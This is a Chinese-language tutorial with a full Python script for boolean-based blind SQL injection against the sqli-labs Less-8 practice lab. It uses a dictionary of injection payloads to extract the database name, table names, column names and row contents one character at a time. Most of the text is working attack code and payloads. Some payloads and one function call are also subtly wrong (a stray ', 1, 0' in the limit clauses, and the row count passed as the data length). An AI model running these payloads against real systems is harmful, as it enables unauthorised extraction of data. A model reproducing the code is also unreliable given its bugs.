实现思路
将payload以字典形式存储,循环遍历时对payload字符串中相应参数进行格式化。按以下顺序依次获取数据,其实四个步骤逻辑一样,都是先获取数量,然后获取长度,最后获取内容。
- 数据库名:获取库名长度,库名
- 数据库表:获取数据库表数量,表名长度,表名
- 表字段:获取字段数,字段名长度,字段名
- 表数据:获取该字段数据行数,数据长度,数据内容
关键代码
获取不同数据的payload字典
payload_dict = {
"db_name_len": "' and if(length(database())={number}, 1, 0) -- qwe",
"db_name": "' and if(ascii(substr(database(), {substr_index}, 1))={number}, 1, 0) -- qwe",
"table_num": "' and if((select count(*) from information_schema.tables where table_schema=database())={number}, 1, 0) -- qwe",
"table_name_len": "' and if(length((select table_name from information_schema.tables where table_schema=database() limit {limit_index}, 1))={number}, 1, 0) -- qwe",
"table_name": "' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {limit_index}, 1), {substr_index}, 1))={number}, 1, 0) -- qwe",
"column_num": "' and if((select count(*) from information_schema.columns where table_schema=database() and table_name='{table_name}')={number}, 1, 0) -- qwe",
"column_name_len": "' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' limit {limit_index}, 1))={number}, 1, 0) -- qwe",
"column_name": "' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' limit {limit_index}, 1), {substr_index}, 1))={number}, 1, 0) -- qwe",
"data_num": "' and if((select count(*) from {table_name})={number}, 1, 0) -- qwe",
"data_len": "' and if(length((select {column_name} from {table_name} limit {limit_index}, 1, 0))={number}, 1, 0) -- qwe",
"data": "' and if(ascii(substr((select {column_name} from {table_name} limit {limit_index}, 1), {substr_index}, 1))={number}, 1, 0) -- qwe"
}
核心函数
# 获取数据长度/数量
def get_len(payload, **parameter):
target_url = url + payload
for i in range(999):
parameter["number"] = i
res = conn.get(target_url.format(**parameter))
if flag in res.text:
return i
# 获取数据内容
def get_content(payload, **parameter):
name = ""
target_url = url + payload
substr_index = parameter["substr_index"]
# 根据字段长度,遍历获取每个字符
for i in range(1, substr_index+1):
parameter["substr_index"] = i
# 猜解字符
for j in range(33, 128):
parameter["number"] = j
res = conn.get(target_url.format(**parameter))
if flag in res.text:
name += chr(j)
return name
substr_index参数每次传进来的是数据长度,然后再遍历猜解每个字符
全部代码
# sql布尔盲注
"""
实现思路
1. 获取库名长度
2. 获取库名
3. 获取数据库表数量
4. 获取表名长度
5. 获取表名
6. 获取字段数
7. 获取字段名长度
8. 获取字段名
9. 获取数据表行数
10.获取该字段数据长度
11.获取数据内容
"""
import requests
flag = "You are in..........."
conn = requests.session()
url = "http://localhost/sqli/Less-8/?id=1"
# 获取不同数据的payload字典
payload_dict = {
"db_name_len": "' and if(length(database())={number}, 1, 0) -- qwe",
"db_name": "' and if(ascii(substr(database(), {substr_index}, 1))={number}, 1, 0) -- qwe",
"table_num": "' and if((select count(*) from information_schema.tables where table_schema=database())={number}, 1, 0) -- qwe",
"table_name_len": "' and if(length((select table_name from information_schema.tables where table_schema=database() limit {limit_index}, 1))={number}, 1, 0) -- qwe",
"table_name": "' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {limit_index}, 1), {substr_index}, 1))={number}, 1, 0) -- qwe",
"column_num": "' and if((select count(*) from information_schema.columns where table_schema=database() and table_name='{table_name}')={number}, 1, 0) -- qwe",
"column_name_len": "' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' limit {limit_index}, 1))={number}, 1, 0) -- qwe",
"column_name": "' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' limit {limit_index}, 1), {substr_index}, 1))={number}, 1, 0) -- qwe",
"data_num": "' and if((select count(*) from {table_name})={number}, 1, 0) -- qwe",
"data_len": "' and if(length((select {column_name} from {table_name} limit {limit_index}, 1, 0))={number}, 1, 0) -- qwe",
"data": "' and if(ascii(substr((select {column_name} from {table_name} limit {limit_index}, 1, 0), {substr_index}, 1))={number}, 1, 0) -- qwe"
}
# 传参字典
parameter = {}
# 获取数据库名
def get_dbname():
print("[*] ===================开始获取数据库名长度===================")
db_name_len = get_len(payload_dict["db_name_len"])
print("[+] 数据库名长度为: ", db_name_len)
db_name = get_content(payload_dict["db_name"], substr_index=db_name_len)
print("[+] 数据库名为: ", db_name)
return db_name
# 获取库中所有表(返回列表形式)
def get_table(db_name):
print("[*] ===================开始获取所有表===================")
# 获取数据库表数量
table_num = get_len(payload_dict["table_num"])
print("[*] 数据库{}的表数量为{}".format(db_name, table_num))
# 获取所有表名
table_list = []
for i in range(table_num):
# 先获取表名长度
table_name_len = get_len(payload_dict["table_name_len"], limit_index=i)
# 再获取表名
# 先给substr_index传最大值,也就是表名的长度,然后再遍历
table_name = get_content(payload_dict["table_name"], substr_index=table_name_len, limit_index=i)
print("[+] 第{}个表名为: {}".format(i+1, table_name))
table_list.append(table_name)
return table_list
# 获取数据表中所有字段(返回列表形式)
def get_column(table_name):
print("[*] ===================开始获取数据表字段===================")
# 先获取字段数
column_num = get_len(payload_dict["column_num"], table_name=table_name)
print("[+] 字段数为: ", column_num)
# 获取所有字段
column_list = []
for i in range(column_num):
# 先获取字段长度
column_name_len = get_len(payload_dict["column_name_len"], table_name=table_name, limit_index=i)
# 再获取字段名
column_name = get_content(payload_dict["column_name"], table_name=table_name, limit_index=i, substr_index=column_name_len)
print("[+] 第{}个字段为: {}".format(i+1, column_name))
column_list.append(column_name)
return column_list
# 获取列中所有数据(返回列表形式)
def get_column_data(table_name, column_name):
print("[*] ===================正在获取列{}的数据===================".format(column_name))
# 先获取数据行数
data_num = get_len(payload_dict["data_num"], table_name=table_name)
# 获取数据内容
data_list = []
for i in range(data_num):
# 先获取每行数据长度
data_len = get_len(payload_dict["data_len"], table_name=table_name, column_name=column_name, limit_index=i)
# 再获取每行数据内容
data = get_content(payload_dict["data"], table_name=table_name, column_name=column_name, limit_index=i, substr_index=data_num)
print("[+] ", data)
data_list.append(data)
return data_list
# 数据获取主函数
def get_data(table_list):
while True:
# 遍历表
for i in range(len(table_list)):
print([i+1], " ", table_list[i])
index = input("要获取哪个表的数据(输入序号)")
try:
index = int(index)
except Exception:
print("非法输入")
continue
if index > len(table_list) or index < 1:
print("请重新确认序号")
continue
# 用字典来保存表中的数据
data = {}
# 先获取列
column_list = get_column(table_list[index-1])
# 遍历列
for j in column_list:
data[j] = get_column_data(table_list[index-1], j)
# 以表格形式输出
for key in data.keys():
print(key, end=" ")
print("") # 换行
value_list = [i for i in data.values()]
column_num = len(data.keys())
row_num = len(value_list[0])
for i in range(row_num):
for j in range(column_num):
print(value_list[j][i], end=" ")
print("")
# 核心函数, 用于获取数据长度/数量
def get_len(payload, **parameter):
target_url = url + payload
for i in range(999):
parameter["number"] = i
res = conn.get(target_url.format(**parameter))
if flag in res.text:
return i
# 核心函数, 用于获取数据内容
def get_content(payload, **parameter):
name = ""
target_url = url + payload
substr_index = parameter["substr_index"] = parameter["substr_index"]
# 根据字段长度,遍历获取每个字符
for i in range(1, substr_index+1):
parameter["substr_index"] = i
# 猜解字符
for j in range(33, 128):
parameter["number"] = j
res = conn.get(target_url.format(**parameter))
if flag in res.text:
name += chr(j)
return name
if __name__ == '__main__':
db_name = get_dbname()
table_list = get_table(db_name)
get_data(table_list)